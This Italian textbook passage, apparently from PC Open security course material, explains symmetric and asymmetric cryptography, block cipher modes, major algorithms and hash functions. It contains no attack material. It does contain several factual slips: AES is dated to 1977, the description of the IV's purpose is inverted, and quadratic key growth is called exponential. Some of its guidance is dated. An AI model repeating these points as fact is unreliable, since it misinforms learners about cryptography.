rezza attiva, che proteggono dati e messaggi nei sistemi
informatici e di comunicazione, hanno i seguenti obiettivi:
riservatezza (o confidenzialit), privacy, integrit, autenti-
cit e non ripudio.
I servizi di sicurezza che permettono di raggiungere que-
sti obiettivi sono basati su tecniche crittografiche e, come
facile immaginare, fanno uso di architetture standardiz-
zate e ben collaudate, di cui, almeno per il settore non mi-
litare, si conoscono in dettaglio le propriet e il grado di si-
curezza e affidabilit. Laccento sulluso di metodi e tec-
nologie che hanno raccolto ampio consenso per la loro ef-
ficacia ed efficienza e che permettono la facile interopera-
bilit delle applicazioni, evitando i rischi e le complessit
delle soluzioni ad-hoc. Tutti gli obiettivi di sicurezza attiva
citati sono ottenibili tramite tecniche crittografiche stan-
dardizzate.
Crittografia simmetrica
La crittografia simmetrica, detta anche crittografia a
chiave segreta, richiede che i due interlocutori usino lo
stesso algoritmo e la stessa chiave segreta. Ci significa
che si deve trovare un canale sicuro per consegnare al de-
stinatario la chiave o, meglio, dati privi di valore intrinseco
da cui il destinatario ricostruisca la chiave. Visto che ogni
coppia dinterlocutori richiede una chiave segreta, se que-
sta fosse un elemento statico, per esempio una frase con-
cordata a voce tra due persone, il numero di chiavi da con-
servare crescerebbe esponenzialmente con il numero degli
interlocutori. Per esempio, per proteggere la comunicazio-
ne tra 10 persone, sarebbero necessarie 45 chiavi, che cre-
scono a quasi mezzo milione per 1.000 interlocutori. In ge-
nerale, per N persone che scambiano messaggi cifrati con
crittografia simmetrica, occorrono N(N-1)/2 chiavi e cia-
scuno degli N utenti deve conservare al sicuro N-1 chiavi.
Di conseguenza, nella pratica si usano sistemi automatici
per la generazione e lo scambio sicuro delle chiavi.
Un altro aspetto della crittografia simmetrica che con-
ferisce riservatezza al messaggio, ma non assicura lauten-
ticazione o il non ripudio, poich non c unassociazione
univoca e sicura tra la chiave e un individuo. Di conse-
guenza, il mittente apparente di un messaggio cifrato con
chiave simmetrica potrebbe sempre negare di avere spe-
dito il messaggio, attribuendone la responsabilit diretta o
indiretta al destinatario (detentore della stessa chiave).
Daltra parte, gli algoritmi di crittografia simmetrica so-
no molto veloci da eseguire e difficili da violare, se la chia-
ve abbastanza lunga. La crittografia simmetrica lunica
opzione utilizzabile per cifrare grandi quantit di dati, uno-
perazione fuori della portata degli algoritmi asimmetrici.
A un buon algoritmo di crittografia simmetrica sono ri-
chieste alcune propriet fondamentali, in modo che lana-
lisi delle relazioni tra input e output non fornisca indica-
zioni sullalgoritmo o sulla chiave:
1) il testo cifrato devessere funzione di tutti i bit della
chiave e del testo in chiaro, 2) non ci devessere nessuna re-
lazione statistica evidente tra testo in chiaro e testo cifra-
to, 3) modificando un singolo bit nel testo o nella chiave,
ogni bit del testo cifrato soggetto alla stessa probabilit
di variazione, 4) modificando un bit nel testo cifrato, ogni
bit del testo decifrato soggetto alla stessa probabilit di
variazione.
www.pcopen.it 22
5.2.2 Crittografia
simmetrica
5.2.2.1 Conoscere i
principi della
crittografia
simmetrica
La cifratura simmetrica
prevede luso di una
chiave identica per cifrare
e decifrare, perci tale
chiave va scambiata in
modo sicuro
I dati sono decifrabili
solo da chi possiede la
chiave anche se vengono
trasmessi su un canale
insicuro (accessibile ad
estranei)
Esistono due tipi di cifrari simmetrici: a blocchi (block
cipher) e a flusso (stream cipher).
I cifrari a blocchi operano sui dati un blocco alla volta (le
dimensioni tipiche dei blocchi sono di 64 o 128 bit) e ogni
operazione su un blocco unazione elementare. I cifrari a
flusso operano invece un bit o un byte alla volta; una volta
inizializzati con una chiave, producono un flusso di bit e si
prestano alla cifratura di grandi quantit di dati.
I cifrari a blocchi possono operare in diversi modi, che
in molti casi prevedono il concatenamento dei blocchi for-
nendo in input alloperazione corrente i risultati delle ope-
razioni precedenti; il che rende il cifrario meno vulnerabi-
le a certi tipi di attacchi.
I principali tipi di cifrari a blocchi sono due: ECB (Elec-
tronic Code Book), CBC (Cipher Block Chaining).
Alla base troviamo la modalit ECB: ogni blocco di testo
in chiaro viene trasformato in un blocco di testo cifrato. Lo
stesso blocco di testo, con la stessa chiave, produce sem-
pre lo stesso blocco di testo cifrato, il che consente ai ma-
lintenzionati di compilare un codice (code book) di tutti i
possibili testi cifrati corrispondenti a un dato testo in chia-
ro. Se per esempio sappiamo che il blocco di testo contie-
ne un pacchetto IP (Internet Protocol), i primi 20 byte di te-
sto cifrato rappresentano sicuramente lintestazione IP del
pacchetto e possiamo usare tale conoscenza, abbinata a un
code book, per determinare la chiave. Al fine di avere bloc-
chi di input di lunghezza stabilita dal cifrario, pu essere
necessario aggiungere allinput un riempitivo (padding).
Il fatto che ogni blocco indipendente dagli altri e pro-
duce sempre lo stesso blocco cifrato, rende meno sicuro
lalgoritmo e permette a un attaccante di sostituire un bloc-
co con un altro senza che il fatto sia rilevato. Avendo a di-
sposizione una quantit di dati sufficienti e conoscendo la
lingua o altre propriet della comunicazione, si possono
analizzare la frequenza con cui si presentano blocchi ugua-
li e ricavare informazioni per compiere deduzioni sul testo
originale. La modalit ECB quindi adeguata per testi mol-
to brevi (idealmente di un blocco) o nei casi in cui la chia-
ve cambi per ogni blocco. In compenso, un bit errato nella
trasmissione del testo cifrato causa un errore di decifratu-
ra solo nel blocco interessato.
La modalit CBC (Cipher Block Chaining) utilizza il
blocco di testo cifrato precedente e lo combina in XOR (OR
esclusivo, unoperazione tra due bit che produce come ri-
sultato 1 se i bit sono diversi o 0 se sono uguali) con il bloc-
co successivo di testo in chiaro prima della cifratura. Il pri-
mo blocco combinato in XOR con un Vettore di Inizializ-
zazione (IV, Initialization Vector), scelto con forti propriet
di pseudocasualit in modo che testi diversi producano lo
stesso testo cifrato.
La decifratura funziona nel modo opposto: ogni blocco
decifrato e combinato in XOR con il blocco precedente. Il
primo blocco decifrato e combinato in XOR con il vetto-
re dinizializzazione.
Poich la cifratura dipende dai blocchi precedenti, un
bit errato nella trasmissione del testo cifrato causa un er-
rore di decifratura nel blocco interessato e in tutti quelli
successivi. La modalit CBC assicura che le ripetizioni pre-
senti nel testo in chiaro non si riflettano in ripetizioni nel te-
sto cifrato.
Altri modi utilizzati per i cifrari a blocchi sono il CFB
(Cypher Feedback Mode), dove il blocco precedente di te-
sto cifrato cifrato e combinato in XOR con il blocco cor-
rente di testo in chiaro (il primo blocco combinato in XOR
con il vettore dinizializzazione) e lOFB (Output Feedback
Mode), che mantiene uno stato di cifratura, ripetutamente
cifrato e combinato con i blocchi di testo in chiaro per pro-
durre i blocchi cifrati (lo stato iniziale costituito dal vet-
tore dinizializzazione).
Un cifrario a flusso (stream cipher) un tipo di cifrario
simmetrico che pu essere progettato in modo da essere
eccezionalmente veloce, molto pi rapido di qualunque ci-
frario a blocchi. Mentre i cifrari a blocchi operano su bloc-
chi di dati relativamente grandi (come 64 o 128 bit), i cifra-
ri a flusso operano su unit pi piccole, solitamente singo-
li bit. Un cifrario a blocchi produce lo stesso testo cifrato a
parit di testo in chiaro, di chiave e di vettore dinizializza-
zione. Con un cifrario a flusso, la trasformazione delle pic-
cole unit di testo in chiaro varia a seconda del momento
in cui esse compaiono durante il processo di cifratura.
Un cifrario a flusso genera il keystream, ossia una se-
quenza di bit usata come chiave, traducibile come flusso
chiave, e la cifratura avviene combinando il keystream con
il testo in chiaro in unoperazione di OR esclusivo (XOR),
bit per bit, equivalente a una somma con eliminazione del-
leventuale riporto. La generazione del keystream pu es-
sere indipendente dal testo in chiaro e dal testo cifrato, pro-
ducendo il cosiddetto cifrario sincrono, oppure pu di-
pendere dai dati e dalla loro cifratura, nel qual caso il ci-
frario a flusso viene detto auto-sincronizzante. La maggior
parte dei cifrari a flusso sono del tipo sincrono.
Principali algoritmi di crittografia simmetrica
Esistono diversi algoritmi di crittografia simmetrica,
ognuno con le proprie caratteristiche di velocit, con spe-
cifici requisiti di risorse hardware o software e con un pro-
prio livello di sicurezza (misurato dal tempo necessario per
il cracking, cio la scoperta della chiave segreta). Per
esempio, alcuni sono pi sicuri, ma richiedono unimple-
mentazione hardware, altri sono meno sicuri, ma presen-
tano bassi requisiti di memoria e si prestano per luso con
piattaforme limitate come le smartcard.
Alcuni esempi di algoritmi di crittografia simmetrica tra
i pi conosciuti sono: Data Encryption Standard (DES), Tri-
ple-DES (3DES), Blowfish, International Data Encryption Al-
gorithm (IDEA), Advanced Encryption Standard (AES), Ri-
vest Cipher #4 e #5 (RC4 e RC5) e Skipjack.
DES
Il National Institute of Standards and Technology (NIST),
ex National Bureau of Standards, una divisione del Di-
partimento del Commercio statunitense, strettamente le-
gato alla National Security Agency (NSA) che a sua volta ap-
partiene al mondo militare. Allinizio degli anni 70, era al-
la ricerca di un algoritmo di crittografia da adottare come
standard. Tra i produttori invitati a proporre soluzioni, IBM
present il proprio algoritmo Lucifer a 128 bit, utilizzato
per le transazioni finanziarie. Lucifer fu accettato, ma la
NSA lo modific riducendone la chiave a 64 bit (di cui 56 bit
www.pcopen.it 23
Crittografia simmetrica a blocchi in modalit CBC
5.2.2.2 Conoscere i
principali standard di
crittografia
simmetrica e le loro
principali differenze
(DES, 3DES, AES,
eccetera)
Crittografia simmetrica a
blocchi in modalit CBC
(Cipher Block Chaining).
Cifrario a flusso con
generazione di keystream
(flusso chiave) e cifratura
continua del testo in
chiaro.
www.pcopen.it 24
effettivi e 8 usati per il controllo di parit), rinominandolo
Data Encryption Standard. Nel 1977 DES divenne lo stan-
dard nazionale di crittografia per le informazioni non clas-
sificate (ossia non confidenziali). Nel corso degli anni, il NI-
ST ha ricertificato periodicamente DES attraverso i docu-
menti FIPS (Federal Information Processing Standards Pu-
blication) 46-1, 46-2 e 46-3, fino alla fase di transizione tra
DES e il suo successore AES. DES lalgoritmo di cifratura
pi conosciuto ed stato il primo di cui sono stati forniti
tutti i dettagli di implementazione. E stato incluso nella
maggioranza dei prodotti commerciali dotati di funzionalit
crittografiche ed stato usato dagli enti governativi. Per ol-
tre un decennio, DES stato considerato uno degli algorit-
mi pi efficaci ed efficienti, finch la NSA smise di suppor-
tarlo nel 1988, prevedendo la sua vulnerabilit a fronte del-
la crescita della potenza di calcolo dei computer. Nel 1998
DES fu violato in un attacco di tipo forza bruta (test di tut-
te le possibili chiavi) durato tre giorni, con un computer do-
tato di 1.536 processori. Tale fatto acceler il processo di
sostituzione di DES con 3DES (tripla applicazione di DES) e
con AES. Dal 1999, DES poteva essere usato solo sui siste-
mi legacy, cio hardware o software antiquato ancora in
uso, e nella pratica corrente doveva essere sostituito da
3DES e in seguito da AES.
DES un algoritmo di crittografia simmetrica a blocchi
di 64 bit secondo il modello di Horst Feistel (il crittologo di
IBM che lha sviluppato), che prevede la divisione del bloc-
co in due met e una serie di sostituzioni e permutazioni in
16 passaggi con scambi tra i due semiblocchi.
3DES
Saltato il doppio DES (chiave di 112 bit) perch si dimo-
str che avesse la stessa efficacia del DES, si pass alla tri-
pla applicazione del DES (112 o 168 bit per le chiavi) pro-
lungando il ciclo di vita di questo particolare sistema di ci-
fratura. 3DES 256 volte pi robusto del DES, ma richiede
fino al triplo di tempo per la cifratura e la decifratura. Esi-
stono diverse varianti di 3DES:
- DES-EE3: utilizza tre diverse chiavi di cifratura
- DES-EDE3: usa tre chiavi per cifrare, decifrare e cifrare di
nuovo i dati
- DES-EEE2 e DES-EDE2: come sopra, salvo che la prima e la
terza operazione utilizzano la stessa chiave.
Lalgoritmo alla base di 3DES lo stesso di DES, lalgo-
ritmo pi studiato e collaudato di tutti i tempi. 3DES mol-
to robusto e affidabile, ma stato progettato circa 30 anni
fa ed stato concepito per limplementazione in hardware.
A maggior ragione, 3DES poco efficiente in software e non
considerato una soluzione valida a lunga scadenza, anche
se saranno necessari parecchi anni per la sua definitiva so-
stituzione.
AES
Dopo che il DES era stato usato per oltre 20 anni e si av-
vicinava il momento del suo cracking, il NIST decise che
era tempo dintrodurre un nuovo standard di crittografia.
La decisione fu annunciata nel 1977, assieme alla richiesta
di candidature. Il nuovo standard avrebbe dovuto essere
un algoritmo simmetrico a blocchi capace di supportare
chiavi di 128, 192 e 256 bit. I finalisti furono MARS di IBM
(sviluppato dagli autori di Lucifer), RC6 (di RSA Laborato-
ries), Serpent (di Anderson, Biham e Knudsen), Twofish (di
Counterpane Systems) e Rijndael (dei belgi Joan Daemon e
Vincent Rijmen). Rijndael (cos chiamato dai nomi degli au-
tori) fu stato scelto dal NIST per sostituire il DES. E stato
pubblicato dal NIST nel 2001 col nome di AES ed lalgo-
ritmo richiesto per proteggere le informazioni riservate, ma
non classificate, del governo statunitense. AES utilizza
blocchi di 128 bit, rappresentati sotto forma di matrice;
ogni blocco viene cifrato in 10, 12 o 14 passaggi (a seconda
della lunghezza della chiave) che comprendono operazio-
ni di sostituzione dei byte, permutazione delle righe della
matrice, sostituzione delle colonne, combinazione XOR dei
byte con una matrice (chiave espansa) ottenuta espan-
dendo la chiave dai 128, 192 o 256 bit originari a 176, 208 o
240 byte.
Lattento scrutinio dellalgoritmo Rijndael non ha mo-
strato punti deboli, tanto che nel 2003 il governo USA ha au-
torizzato luso di AES per la cifratura di documenti classi-
ficati fino al livello di secret con chiave di 128 bit e di top se-
cret con chiave di 192 o 256 bit. E la prima volta che il pub-
blico ha accesso ai dettagli di un algoritmo crittografico ap-
provato per informazioni di massima segretezza. Al 2004,
sono noti attacchi su 7, 8 e 9 passaggi rispettivamente con
chiavi di 128, 192 e 256 bit; qualche crittografo ha espres-
so dubbi sulla tenuta futura del margine di sicurezza, ma,
a meno di sorprese, previsto che AES risulti sicuro per de-
cenni a venire. AES utilizzabile senza il pagamento di
royalty.
Blowfish
Blowfish un cifrario simmetrico a blocchi di 64 bit con
chiavi di lunghezza fino a 448 bit. Durante la cifratura i da-
ti sono sottoposti a 16 fasi di funzioni crittografiche. Blow-
fish un algoritmo molto robusto ed stato scritto da Bru-
ce Schneier, uno degli autori pi citati nel campo della crit-
tografia.
IDEA
IDEA un cifrario simmetrico a blocchi di 64 bit, suddi-
visi in 16 sotto-blocchi sottoposti a otto serie di manipola-
zioni matematiche. IDEA presenta similitudini con DES, ma
molto pi robusto. La chiave lunga 128 bit. IDEA bre-
vettato ed concesso in licenza dalla societ svizzera Me-
diacrypt.
RC5
RC5 un cifrario simmetrico a blocchi dotato di parec-
chi parametri per assegnare le dimensioni del blocco, la
lunghezza della chiave e il numero di passaggi di trasfor-
mazione da eseguire. E stato creato da Ron Rivest (la R di
RSA). Di solito si utilizzano blocchi di 32, 64 o 128 bit e la
chiave pu raggiungere i 2.048 bit. RC5 stato brevettato
da RSA Security nel 1997. Il basso consumo di memoria lo
rendono adatto per smartcard e altri dispositivi simili.
Skipjack
Skipjack un cifrario a blocchi sviluppato dalla NSA nel
1987, messo in servizio nel 1993 e declassificato nel 1998.
Opera su blocchi di 64 bit con una chiave di 80 bit e pu
Opzioni di crittografia in
Microsoft Outlook
sfruttare le principali modalit di crittografia a blocchi: ECB,
CBC, CFB e OFB. E stato fornito in chipset preconfezionati
e nella cryptocard Fortezza, una PC Card con processore di
cifratura e memoria per i dati da cui costruire le chiavi.
Skipjack un cifrario molto robusto, ma la lunghezza limi-
tata della chiave lo rende inferiore allAES. Skipjack utiliz-
zato soprattutto da militari e agenzie governative USA.
RC4
RC4 il pi noto dei cifrari a flusso. E stato creato nel
1987 da Ron Rivest per RSA Security. Utilizza un keystream
di dimensioni variabili (ma solitamente di 128 bit) e opera
su un byte alla volta. In origine il cifrario era segreto, ma fu
fatto filtrare su Internet. Lalgoritmo molto robusto se uti-
lizzato con chiavi di lunghezza adeguata (tipicamente 128
bit) casuali e non riutilizzate. Nel 2000 il governo USA ha ri-
mosso la limitazione a 40 bit per lesportazione dei prodotti
con RC4. RC4 10 volte pi veloce di DES. Due esempi di
impiego sono nel protocollo SSL (Secure Sockets Layer) uti-
lizzato dai browser Internet per lo scambio sicuro di infor-
mazioni (per esempio nelle transazioni commerciali) e nel
protocollo WEP (Wired Equivalent Privacy) che parte del-
lo standard 802.11 per le LAN wireless.
Crittografia nel PC
Le immagini seguenti mostrano alcuni degli algoritmi di
crittografia supportati da Microsoft Outlook e dal browser
Opera (su piattaforma Windows) e dal browser Konqueror
(su piattaforma SUSE Linux).
Crittografia asimmetrica
Per la maggior parte della storia della crittografia,
dallantichit nota fino a qualche decennio fa, mitten-
te e destinatario dei documenti segreti utilizzavano,
per la cifratura e la decifratura, la stessa chiave, con-
cordata in anticipo usando un mezzo di trasmissione
non crittografico e custodita al sicuro.
Si gi accennato alle difficolt di gestione delle
chiavi simmetriche e alla proliferazione di chiavi da
custodire e distribuire segretamente. Whitfield Diffie e
Martin Hellmann, i primi a introdurre pubblicamente
i concetti della crittografia a chiave pubblica nel 1976,
si posero lobiettivo di risolvere due dei principali pro-
blemi della crittografia simmetrica:
1) la necessit di condividere una chiave, preceden-
temente distribuita agli interlocutori, o, in alternativa,
allestire un centro per la distribuzione delle chiavi
(key distribution center) e
2) lesigenza di associare ai messaggi e documenti ci-
frati una firma digitale equivalente a una firma au-
tografa su carta. Diffie ed Hellmann a Stanford e Merk-
ley a Berkeley unirono le rispettive competenze sulla
crittografia a chiave pubblica e sulla distribuzione del-
le chiavi pubbliche rivoluzionando il mondo della ri-
cerca crittografica, fino ad allora chiuso nelle stanze
degli enti militari.
Solo in seguito, sono venute alla luce le
vere e segrete origini della crittografia a
chiave pubblica: a met degli anni 60
presso la National Security Agency -
NSA (secondo affermazioni del diretto-
re dellNSA di quel tempo, indiretta-
mente suffragate dalluso nellNSA di te-
lefoni basati su crittografia a chiave
pubblica) e nel 1973 presso il britannico
Government Communications Headquarters (GCHQ),
i cui documenti sono stati rivelati nel 1997 dal Com-
munications-Electronics Security Group (CESG), il
braccio del GCHQ per la sicurezza delle informazioni.
I documenti di Ellis e Cocks (www.cesg.gov.uk/), in as-
senza di documentazione dellNSA, sono quindi i pi
antichi riguardo la nascita della crittografia asimme-
trica. Dopo Ellis e Cocks e Diffie, Hellmann e Merkley,
il terzo gruppo chiave per lo sviluppo della crittogra-
fia a chiave pubblica stato Rivest, Shamir e Adleman,
autori dellalgoritmo RSA.
La loro ricerca quasi contemporanea ai lavori di Dif-
fie, Hellmann e Merkley (ma basata su un diverso prin-
cipio matematico) e costituisce un ulteriore passo in
avanti, perch include limplementazione della firma
digitale. Oggi RSA la sigla pi spesso associata alla
nozione di crittografia a chiave pubblica, ma in molte
applicazioni sono utilizzate le tecnologie derivate dal-
lo scambio chiavi di Diffie-Hellmann.
La crittografia asimmetrica, ossia a chiave pubbli-
ca, fa uso di due chiavi diverse per cifrare e decifrare
i messaggi o documenti. Con un sistema di crittogra-
fia a chiave pubblica, gli utenti possono comunicare in
modo sicuro attraverso un canale insicuro senza do-
ver concordare in anticipo una chiave. Un algoritmo
asimmetrico prevede che ogni utente abbia una cop-
pia di chiavi: la chiave pubblica e la chiave privata, in
relazione tra loro, ma tali che non si possa ricavare lu-
na dallaltra. La chiave privata devessere custodita al
sicuro dal proprietario, mentre la chiave pubblica pu
essere distribuita senza restrizioni, a patto che sia au-
tenticata. La propriet fondamentale di un algoritmo
asimmetrico che si pu cifrare un messaggio con
una qualsiasi delle due chiavi, dopo di che si deve uti-
lizzare laltra chiave per decifrarlo.
Se Alessandro vuole spedire a Bruno un documen-
to riservato, deve procurarsi una copia autenticata
della chiave pubblica di Bruno (in pratica un certifi-
cato digitale di Bruno) e con essa cifrare il messaggio.
Bruno utilizza la propria chiave privata per decifrare
www.pcopen.it 25
Opzioni di crittografia
in Opera
Opzioni di crittografia
in Konqueror
Nella crittografia
asimmetrica, detta anche
crittografia a chiave
pubblica, esiste sempre
una coppia di chiavi, tra
loro inseparabili: una
pubblica e una privata
5.2.3. Crittografia
asimmetrica
5.2.3.1 Conoscere i
principi di crittografia
asimmetrica
il messaggio e ricostruire il documento originale. Il
messaggio rimane riservato, ma non si pu essere cer-
ti della sua autenticit, ossia che sia stato spedito da
Alessandro.
Se Alessandro vuole inviare a Bruno un documento
in modo da garantirne lautenticit e lintegrit, lo ci-
fra con la propria chiave privata, dopo di che Bruno
(ma anche chiunque altro) lo decifra con la chiave
pubblica di Alessandro. In questo caso manca la ri-
servatezza.
Per assicurare riservatezza, autenticit e integrit,
Alessandro potrebbe utilizzare una doppia cifratura,
con la propria chiave privata e con la chiave pubblica
di Bruno. Questi tre scenari sono puramente didattici;
in pratica, vedremo che esistono metodi pi efficienti
e che la crittografia asimmetrica non usata per ci-
frare lintero contenuto dei messaggi.
Torniamo al primo esempio, in cui Alessandro invia
un messaggio cifrato con la chiave pubblica di Bruno.
Un modo per autenticare il messaggio, dimostrando la
propria identit, quello di allegare un certificato di-
gitale, ovvero un oggetto che associa la chiave pub-
blica al suo proprietario, eliminando il sospetto che il
mittente sia un impostore. Un certificato digitale ri-
lasciato da unautorit di certificazione (CA, Certifi-
cation Authority), uno degli elementi che compongo-
no uninfrastruttura a chiave pubblica (PKI, Public Key
Infrastructure, un sistema per la creazione e gestione
delle chiavi pubbliche). Il certificato garantisce delli-
dentit del possessore della chiave pubblica: la cop-
pia di chiavi viene tipicamente generata sul computer
dellutente e presso la CA viene conservata la sola
chiave pubblica e il certificato che la CA ha generato
sulla base di questa.
Il certificato digitale contiene varie informazioni pi
la chiave pubblica del suo proprietario, ed firmato
dallautorit che lo emette per attestare la validit del
certificato e del certificatore.
Unalternativa alluso dei certificati emessi da una
CA lutilizzo di PGP (Pretty Good Privacy), un meto-
do ampiamente diffuso per cifrare messaggi e docu-
menti tramite una coppia di chiavi che chiunque pu
generare, senza certificazione o con un certificato fir-
mato, non da una Certification Authority, bens da al-
tri utenti fidati che formano una rete di fiducia.
Il metodo dei certificati si basa su una struttura or-
ganizzata e comporta oneri in base alle funzionalit e
modalit dimpiego.
Thawte lunica CA che fornisce certificati gratuiti
di durata annuale per uso personale, da usare per fir-
mare e cifrare la posta elettronica. Luso di PGP e del-
le sue varianti (come vedremo in seguito) invece pi
libero e informale e ha forme dimplementazione gra-
tuite.
I cifrari asimmetrici hanno prestazioni bassissime,
inferiori a quelle dei cifrari simmetrici per vari ordini
di grandezza (RSA mille volte pi lento di DES). Per-
ci, di solito, non sono utilizzati per cifrare interi mes-
saggi e documenti, bens per cifrare una chiave di ses-
sione, che a sua volta viene utilizzata per cifrare il
messaggio con un cifrario simmetrico. Una chiave di
sessione una chiave temporanea usa e getta, crea-
ta al momento e distrutta alla fine della sessione, per
esempio dopo linvio di un messaggio e-mail cifrato o
alla fine di una transazione Internet con SSL (Secure
Sockets Layer il protocollo standard per transazioni
sicure su Internet).
In questo scenario ibrido, che vede luso contem-
poraneo di cifrari simmetrici e asimmetrici, sinne-
sta un altro dei mattoni fondamentali delle applica-
zioni crittografiche, cio le funzioni di hash. Una fun-
zione di hash riceve in input un messaggio o un bloc-
co di dati di lunghezza variabile e fornisce come ri-
sultato un valore di lunghezza fissa chiamato codice
di hash (hash code o semplicemente hash) o anche
message digest o hash digest.
Una tale funzione progettata in modo che a un da-
to input corrisponda sempre lo stesso output e che
sia minima la probabilit che input diversi generino lo
stesso output (collisione). Un hash rappresenta una
impronta informatica (fingerprint) del messaggio o
documento su cui calcolato e serve a verificare lin-
tegrit dei dati: qualunque alterazione ai dati causa
www.pcopen.it 26
Impiego della chiave
pubblica del destinatario
per cifrare un messaggio
che solo il destinatario
potr decifrare con la
propria chiave segreta.
Chiunque pu accedere
alla chiave pubblica e
perci la fonte del
messaggio non
autenticabile
Impiego della propria
chiave privata
per autenticare e cifrare
un messaggio che verr
poi decifrato dal
destinatario con la nostra
chiave pubblica. In questo
caso la fonte del
messaggio autenticata,
ma la segretezza
compromessa visto che
chiunque pu accedere
alla nostra chiave
pubblica
Usiamo la chiave
per cifrare un messaggio
che solo lui potr
decifrare con la sua
chiave privata, ma
aggiungiamo un
certificato che autentica
la nostra identit
5.2.4. Funzioni di
hash e digest
5.2.4.1 Conoscere
i principi di
funzionamento delle
funzioni di has e
digest
Sottoponendo alla
funzione di hash un
documento di lunghezza
qualsiasi si ottiene un
digest o hash di
lunghezza fissa che ne
identifica univocamente il
contenuto (firma
informatica) senza
permettere di risalire al
contenuto
unalterazione dellhash. Una funzione di hash pu es-
sere vista come una funzione di compressione o di ci-
fratura a senso unico, perch non c modo di risali-
re dallhash ai dati di partenza.
Standard di crittografia asimmetrica
Ci sono parecchi algoritmi di crittografia asimmetrica,
ma quelli pi noti, sicuri e utilizzati sono il citato RSA
e quelli derivati dalla ricerca di Diffie e Hellmann, tra
cui ElGamal e DSA.
RSA, dellomonima azienda, il cifrario asimmetrico
pi utilizzato. Pu essere usato sia per la cifratura (per
ottenere la riservatezza), sia per la firma digitale (per
ottenere lautenticazione), sia per lo scambio delle
chiavi (come nellesempio di cui sopra). Secondo RSA,
una chiave asimmetrica di 1.024 bit equivale, in robu-
stezza, a una chiave simmetrica di 80 bit (una lun-
ghezza oggi relativamente limitata), mentre chiavi di
2.048 e 3.072 bit equivalgono a chiavi simmetriche di
112 e 128 bit. RSA raccomanda di utilizzare almeno
1.024 bit fino al 2.010, mentre 2.048 bit dovrebbero es-
sere adeguati fino al 2.030, per poi passare a 3.072 bit.
Secondo il NIST (National Institute of Standards and
Technology), una chiave RSA di 15.360 bit equivale a
una chiave simmetrica di 256 bit. In pratica, per chiavi
importanti che si prevede di usare per molti anni, con-
viene passare a 2.048 bit, come gi sinizia a vedere per
le chiavi di firma dei certificati digitali.
Gli algoritmi asimmetrici si basano su calcoli mate-
matici facili da eseguire in una direzione, ma molto dif-
ficili, o pressoch impossibili da eseguire nella dire-
zione inversa. RSA si basa sulla difficolt di scompor-
re in fattori il prodotto di due numeri primi di grandi di-
mensioni. La soluzione di Diffie ed Hellmann si basa in-
vece sul cosiddetto problema del logaritmo discreto,
ovvero della difficolt di risalire alla x nellequazione
gx = y mod p. La notazione y mod p (y modulo p) indi-
ca il resto della divisione y/p. Il metodo Diffie-Hellmann
utilizzato per lo scambio delle chiavi, dove i due in-
terlocutori si scambiano le chiavi pubbliche e, con le
proprie chiavi private, costruiscono una chiave segre-
ta condivisa. Lalgoritmo ElGamal, dal nome del suo in-
ventore, sfrutta anchesso il problema del logaritmo di-
screto, dove x la chiave privata e p, g e y formano la
chiave pubblica. ElGamal pu essere usato sia per la ci-
fratura sia per lautenticazione con firma digitale. E un
algoritmo sicuro e ha la caratteristica di generare un
testo cifrato lungo il doppio del testo in chiaro.
Una variante dellalgoritmo ElGamal il DSA, o Digi-
tal Signature Algorithm, sviluppato dalla NSA e pub-
blicato dal NIST (National Institute of Standards and
Technology) e diventato uno standard del governo
USA. DSA ha una chiave pubblica e una privata, ma vie-
ne usato solo per la firma dei documenti, non per la ci-
fratura. DSA richiede luso dellalgoritmo di hash SHA
(Secure Hash Algorithm), uno standard FIPS (Federal
Information Processing Standard) statunitense. SHA
genera un digest di 160 bit che viene passato a DSA o
a un altro degli algoritmi di firma digitale ammessi dal
governo USA (RSA ed ECDSA, Elliptic Curve Digital Si-
gnature Algorithm). Lo standard federale americano
per la firma elettronica si chiama DSS (Digital Signatu-
re Standard), di cui DSA lalgoritmo di firma e SHA
lalgoritmo di hash.
A parit di lunghezza di chiave, RSA e DSA hanno si-
curezza comparabile.
Se il problema del logaritmo discreto e la fattorizza-
zione del prodotto di numeri primi sono i due metodi
matematici alla base dei cifrari asimmetrici pi diffusi,
la recente crittografia a curve ellittiche (ECC) si rivela
promettente in termini di efficienza, con chiavi molto
pi corte. Una chiave ECC di 163 bit equivale a una
chiave RSA di 1024 bit. Le curve ellittiche sono una
branca della teoria dei numeri e sono definite da certe
equazioni cubiche (di terzo grado); le loro propriet
permettono di creare algoritmi crittografici asimme-
trici, vista lestrema difficolt di eseguire i calcoli a ri-
troso per ricostruire la chiave privata dalla chiave pub-
blica e dalle condizioni iniziali. Un esempio di utilizzo
dellECC nella ECDSA, una variante pi efficiente del
DSA basata sulle curve ellittiche.
Riferimenti bibliografici:
Handbook of Applied Cryptography, A. Menezes, P. van
Oorschot, S. Vanstone, 1996.
Scaricabile in Pdf da www.cacr.math.uwaterloo.ca/hac
Applied Cryptography, Bruce Schneier, Second Edition,
1996
Cryptography and Network Security, William Stallings,
Third Edition, 2002
Internet Cryptography, Richard Smith, 1997
Funzioni di hash e digest
Un hash un numero binario di lunghezza fissa, ri-
cavato da un input (file, messaggio, blocco di dati ec-
www.pcopen.it 27
5.2.3.2 Conoscere
i principali standard
di crittografia a
chiave pubblica
Scambio della chiave
segreta con cifratura
asimmetrica RSA.
Alessandro e Bruno
vogliono scambiare
messaggi cifrati con
crittografia simmetrica.
Bruno manda ad
Alessandro la sua chiave
pubblica RSA ed
Alessandro la usa per
cifrare la chiave segreta
casuale per la sessione
che spedisce a Bruno in
modo sicuro. Bruno
decifra la chiave segreta
usando la sua chiave
privata RSA e quindi la
usa per cifrare il
messaggio. Alessandro
usa la chiave segreta
che ha generato per
decifrare il messaggio di
Bruno
cetera) di lunghezza variabile, che funge da impronta
del dato di partenza. Lanalogia con limpronta digita-
le pertinente, perch compatta, pu essere facil-
mente archiviata, trasmessa ed elaborata elettronica-
mente e consente didentificare un individuo senza che
da essa si possa risalire alle caratteristiche fisiche del-
la persona.
In modo simile, sottoponendo un documento elet-
tronico a un algoritmo di hash, si ottiene un dato di pic-
cole dimensioni (tipicamente 128 o 160 bit) che iden-
tifica il documento senza permettere di risalire al suo
contenuto. Il codice di hash risultante dallapplicazio-
ne di una funzione di hash a un documento, viene chia-
mato hash, digest o impronta informatica del docu-
mento.
Per essere efficace, un algoritmo di hash deve sod-
disfare i seguenti requisiti:
- pu essere applicato a dati di qualunque dimensione
- produce un risultato di lunghezza fissa
- il codice di hash relativamente facile da calcolare
per qualsiasi input, rendendone pratica limplemen-
tazione hardware e software
- per qualsiasi codice di hash h, non praticamente
possibile trovare un dato di input tale per cui lalgo-
